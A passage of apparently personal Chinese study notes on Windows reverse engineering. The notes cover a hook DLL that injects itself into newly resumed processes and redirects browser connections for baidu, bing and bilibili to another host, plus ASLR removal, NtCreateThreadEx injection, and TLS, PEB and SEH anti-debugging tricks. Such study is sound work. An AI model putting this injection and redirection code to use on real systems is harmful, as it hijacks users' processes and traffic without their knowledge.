tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;// 这个是权限的开关,如果为0则表示这个权限关闭,为2表示打开,(这个一共有3个选项还有一个是什么我忘了)
if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {// 将这个结构体设置进去,让系统知道
if (GetLastError())
{
printf("fOk!=0 error:%d", GetLastError());
}
CloseHandle(hToken);
return TRUE;
}
else
{
printf("AdjustTokenPrivileges error\n");
}
}
else
{
printf("LOOK UP PrivilegeValue error\n");
}
}
else
{
printf("OpenProcessToken error\n");
}
return FALSE;
}
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount)
{
NTSTATUS status, statusThread;
unhookCode("ntdll.dll", "ZwResumeThread", OrginNtCode);
DWORD PID = 0;
FARPROC funcOfPID = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQueryInformationThread");
if(!funcOfPID){
return NULL;
}
THREAD_BASIC_INFORMATION tb;
statusThread = ((PFZWQUERYINFORMATIONTHREAD)funcOfPID)(ThreadHandle, (THREADINFOCLASS)0, &tb, sizeof(tb), NULL);
PID = (DWORD)tb.ClientId.UniqueProcess;
static DWORD dwPrevPID = 0;
if (PID != 0 && PID != dwPrevPID) {
dwPrevPID = PID;
EnableDebugPrivilege();
TCHAR szModPath[MAX_PATH] = { 0, };
GetModuleFileName(GetModuleHandle(L"IEhook.dll"), szModPath, MAX_PATH);
InjeactDll(PID, szModPath);
}
FARPROC pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwResumeThread");
status = ((PZwResumeThread)pFunc)(ThreadHandle, SuspendCount);
hookCode("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, OrginNtCode);
return status;
}
HINTERNET WINAPI NewInternetConnectW
(
HINTERNET hInternet,
LPCWSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCTSTR lpszUsername,
LPCTSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext
)
{
unhookCode("wininet.dll", "InternetConnectW", OrginWinCode);
FARPROC pFunc = GetProcAddress(GetModuleHandle(L"wininet.dll"),"InternetConnectW");
HINTERNET hInt = NULL;
if (!_tcsicmp(lpszServerName, L"www.baidu.com") || !_tcsicmp(lpszServerName, L"www.bing.com") || !_tcsicmp(lpszServerName, L"www.bilibili.com")) {
hInt = ((PINTERNETCONNECT)pFunc)(hInternet, L"www.s0rry.cn", nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext);
}
else {
hInt = ((PINTERNETCONNECT)pFunc)(hInternet, lpszServerName, nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext);
}
hookCode("wininet.dll", "InternetConnectW", (PROC)NewInternetConnectW, OrginWinCode);
return hInt;
}
BOOL hookCode(const char * hookDllName, const char* hookFunName, PROC pFunNew, PBYTE pOrginCode)
{
DWORD oldProtect;
ULONGLONG hookAdress = (ULONGLONG)GetProcAddress(GetModuleHandleA(hookDllName), hookFunName);
if (!hookAdress) {
printf("获取目标函数位置失败\n");
return FALSE;
};
VirtualProtect((LPVOID)hookAdress, 12, PAGE_EXECUTE_READWRITE, &oldProtect);
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)hookAdress, (LPVOID)pOrginCode, 12, NULL)) {
printf("读取目标位置失败\n");
return FALSE;
};
ULONGLONG distence = (ULONGLONG)pFunNew;
*(ULONGLONG*)(&szShellCode[2]) = distence;
memcpy((PVOID)hookAdress, szShellCode, 12);
VirtualProtect((LPVOID)hookAdress, 12, oldProtect, &oldProtect);
return TRUE;
}
BOOL unhookCode(const char* hookDllName, const char* hookFunName, PBYTE pOrginCode)
{
DWORD oldProtect;
ULONGLONG hookAdress = (ULONGLONG)GetProcAddress(GetModuleHandleA(hookDllName), hookFunName);
if (((PBYTE)hookAdress)[0] == 0x48)
{
VirtualProtect((LPVOID)hookAdress, 12, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((PVOID)hookAdress, (LPVOID)pOrginCode, 12);
VirtualProtect((LPVOID)hookAdress, 12, oldProtect, &oldProtect);
return TRUE;
}
return FALSE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved)
{
char* p = NULL;
char szCurProc[MAX_PATH] = { 0, };
switch(fdwReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if (p != NULL && _stricmp(p + 1, "iexplore.exe")) {
LoadLibrary(L"wininet.dll");
}
hookCode("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, OrginNtCode);
hookCode("wininet.dll", "InternetConnectW", (PROC)NewInternetConnectW, OrginWinCode);
break;
case DLL_PROCESS_DETACH:
unhookCode("ntdll.dll", "ZwResumeThread", OrginNtCode);
unhookCode("wininet.dll", "InternetConnectW", OrginWinCode);
break;
}
return TRUE;
}
删除ALSR功能
Windows为了增加对缓冲区溢出的安全保护技术(地址空间布局随机化)
含有ASLR技术的EXE都含有.reloc段 不是exe必须的部分,但是dll中需要重定位所以reloc段不可去除。
文件头中的Characistics(不含ALSR的要多一个1)与可选头的dll Characteristics(含有的在
WORD IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE上为1)
当然含有的段数也会增加。
只需要把可选头的那个改为0即可达到去除ASLR的目的
内核6中的会话管理机制
内核6采用了用户与系统的会话的分离的方式,系统会话和非系统会话。
CreatRemoteThread()(待复现)
在内核6之后CreatRemoteThread只能注入一般进程
API的主要过程:
kernel32!CreateRemoteThread()→kernelbase!CreateRemoteThreadEx()
[kennelBase.dlll负责kernel的包装,也就是说没有实际的变化]→ntdll!ZwCreatThreadEx()→通过SYSENTER进入内核模式(在用户模式调试无法调试)
所以直接调用ZwCreatThread勾中的概率要大很多。
如何调用这个函数呢?
用CetProcAddress(GetModuleHandle(L”ntdll.dll”),”NtCreateThreadEx”),采用函数指针来调用
((PFNTCREATETHREADEX)pFunc)(&hThread,
0x1FFFFF,
NULL,
hProcess,
pThreadProc,
pRemoteBuf,
FALSE,
NULL,
NULL,
NULL,
NULL);
TLS回调函数(待复现)
线程局部存储(Thread Local Storage,TLS)用来将数据与一个正在执行的指定线程关联起来。进程中的全局变量与函数内定义的静态(static)变量,是各个线程都可以访问的共享变量。在一个线程修改的内存内容,对所有线程都生效。这是一个优点也是一个缺点。说它是优点,线程的数据交换变得非常快捷。说它是缺点,一个线程死掉了,其它线程也性命不保; 多个线程访问共享数据,需要昂贵的同步开销,也容易造成同步相关的BUG。
理解:与c++的构造函数和析构函数相似(TLS回调函数会先与EXE的代码执行)
当在一个进程开始或者结束的时候TLS回调函数会被调用起来,线程开始或者结束的时候也会
TLS常常被用于反调试
其写法与DLL相似,TLS回调函数的定义:
typedef void (NTAPI *PIMAGE_TLS_CALLBA)(
PVOID DllHandle,
DWORD Reason,
PVOID Reserved
)
在程序中添加TLS回调函数的方法为:
void NTAPI TLS_CALLBACK1(PVOID DllHandle, DWORD Reason, PVOID Reason){
char szMsg[80] = {0, };
wsprintfA(szMsg,"TLS_CALLBACK1():DllHandle = %x", DllHandlle);//在这里的意思是把这句话输入szMsg
printf_console(szMsg);
}
调用这个回调函数的原因(Reason)
#define DLL_PROCESS_ATTACH 1
#define DLL_THREAD_ATTACH 2
#define DLL_THREAD_DETACH 3
#define DLL_PROCESS_DETACH 0
在这里我们可以看出来TLS回调函数不是只有一个函数,是一些函数。
控制这些的是在可选头中最后一个结构体数组中有这个结构体的地址,这个结构体的原型为
typedef struct _IMAGE_TLS_DIRECTORY32 {
DWORD StartAddressOfRawData;
DWORD EndAddressOfRawData;
PDWORD AddressOfIndex;
PIMAGE_TLS_CALLBACK *AddressOfCallBacks;//回调函数的地址表
DWORD SizeOfZeroFill;
DWORD Characteristics;
} IMAGE_TLS_DIRECTORY32;
因为是32位的程序所以在表中的地址为DWORD类型,同样的这个表以0为结束标志
TLS回调函数在反调试上面的应用:
- 可以利用od的功能来写汇编代码
- 反调试则利用PEB.BeingDebugged成员,若处于调试该值不为0
PEB看书上是FS:[30]的位置
TEB 线程环境块
TEB线程环境块:(会受系统版本影响)
包含了进程运行线程中运行线程的各种信息
进程中的每一个线程都有属于自己的一个TEB,进程中的所有TEB都以堆栈的方式存放在0x7FFDE000开始的线性内存中,每个TEB的大小为4kb。
TEB的访问方法:
- 通过FS寄存器来访问 起始地址一般为FS:[0]
- 在windbg中可以使用$thread取得TEB的地址。(???)
- 通过windows提供的API访问 Ntdll.NtCurrentTeb() FS:[18]
用户模式下的重要成员:
0x00 :NtTib
0x30 : ProcessEnvironmentBlock (指向PEB)
NtTib结构体:
typedef struct _NT_TIB{
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union {
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; FS:【18】
} NT_TIB;
typedef NT_TIB *PNT_TIB;
PEB 进程环境块:
包含了进程运行的信息
PEB也存放在用户态的地址空间。
在以前的操作系统中,PEB的默认地址在0x7FFDF000处。
PEB的地址计算有两种:
- 通过EPROCESS偏移0x1b0得到,但是EPROCESS是系统地址空间,访问EPROCESS需要R0的权限
- 通过TEB结构偏移0x30获取PEB FS:[30]
注:FS并非直接指向TEB开始的位置,而是FS作为一个16位的寄存器并不能而是指的短描述符表中的内容,fs为段选择符(段选择子),段描述符里面储存了该地址
https://zhuanlan.zhihu.com/p/389448141
PEB 进程环境块
存放进程信息的结构体
重要的PEB结构体成员
BeingDebugged
调试信息位就是之前用来TLS反调试的 正调试则为1,反之为0
注:由于用的是吾爱上的od它会自带一个StrongOD的插件,会让这个位置失去功能,它把它直接改为0
IsDebuggerPresent() 这API就是利用的这个位置
ImageBaseAddress
用来表示进程的ImageBase
GetModleHandle () 这个API实现过程
_PEB_LDR_DATE
可以看到PEB偏移为C处存储着LDR指针
,它指向一个_PEB_LDR_DATA结构
结构中提供了三个链表,指的是进程中加载的dll的顺序,链表内的节点都是一样的,只是排序不同。
之前的_PEB_LDR_DATA
只是一个入口
,这个结构只有一个
,它不是链表节点,真正的链表节点结构如下图:
注:那个入口也会作为一个节点,从而形成闭环
PEB.ProcessHeep与PEB.NtGloBalFlah
这两参数也多用于反调试,若处于调试状态他们有特定值
SEH Windows操作系统默认异常处理
SEH除了异常处理,还有反调试功能
写在前面
由于吾爱的od有插件strongOD,所以在触发一般的异常时并不会,od并不会暂停下来。
x64也是相同,由于拥有sharpOD无法触发普通异常。
OS的异常处理方式
如果没有自己写异常处理的代码(SEH异常处理器),os启动默认异常处理机制,终止进程运行。但是在调试模式下则不同,异常会先交给调试器处理,无法处理则交给os。
SEH链
由_EXCEPTION_REGISTRATION_RECORD结构体构成
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
}
Next成员指向下一个_EXCEPTION_REGISTRATION_RECORD结构体指针,handler成员是异常处理函数(异常处理器)。若Next成员的值为FFFFFFFF,则表示它是链表最后一个结点.
异常处理函数的结构
EXCEPTION_DISPOSITION __cdecl _except_handler (
EXCEPTION_RECORD *pRecord,
EXCEPTION_REGISTRATION_RECORD *pFrame,
CONTEXT *pContext,
PVOID pValue
);
第一个参数 指向EXCEPTION_RECODE结构体
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode; //异常代码
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress; //异常发生地址
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
第三个参数 CONTEXT 用来备份cpu寄存器的值,每个线程内部都拥有1个CONTEXT结构体
typedef struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip; //注意
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
异常发生的时候,执行异常代码的线程就会发生中断,转而运行SEH,此时OS会把线程 CONTEXT结构体的指针传递给异常处理函数的相应参数。里面有个eip成员,在异常处理函数中将参数传递过来的CONTEXT.eip设置为其他地址,然后返回处理函数。这样之前暂停的线程会执行新的EIP地址处的代码(反调试中经常使用这个技术)
SEH链的访问
通过TEB结构体利用容易的访问SEH链
TEB.NtTib.ExceptionList=FS:[0]
SHE的安装和删除
push @MyHandler ;异常处理程序
push FS:[0] ;SEH Linked List头
mov dword ptr fs:[0],esp ;添加链表
汇编中的删除SEH代码
POP DWORD PRT FS:[0] ; 读取栈值并将其放入FS:[0],这里的栈值存放的下一个SEH的起始地址,执行该命令之后,就可以从栈中删除对应的SEH。
ADD ESP,4
od中的SEH 程序在正常运行与调试运行的时候有不同的分支代码,借助SEH实现的反调试及时很多,这为代码的调试带来了很多不便,使调试更加困难。OD提供了很多调试选项,调试中发生异常的时候,调试器不会暂停,会自动将异常派送给被调试者。od中选择options-debugging options-.exception选项卡:灵活使用od的excettion选项,可以在不暂停调试器的前提下自动规避使用SEH的反调试“花招”,从而继续调试。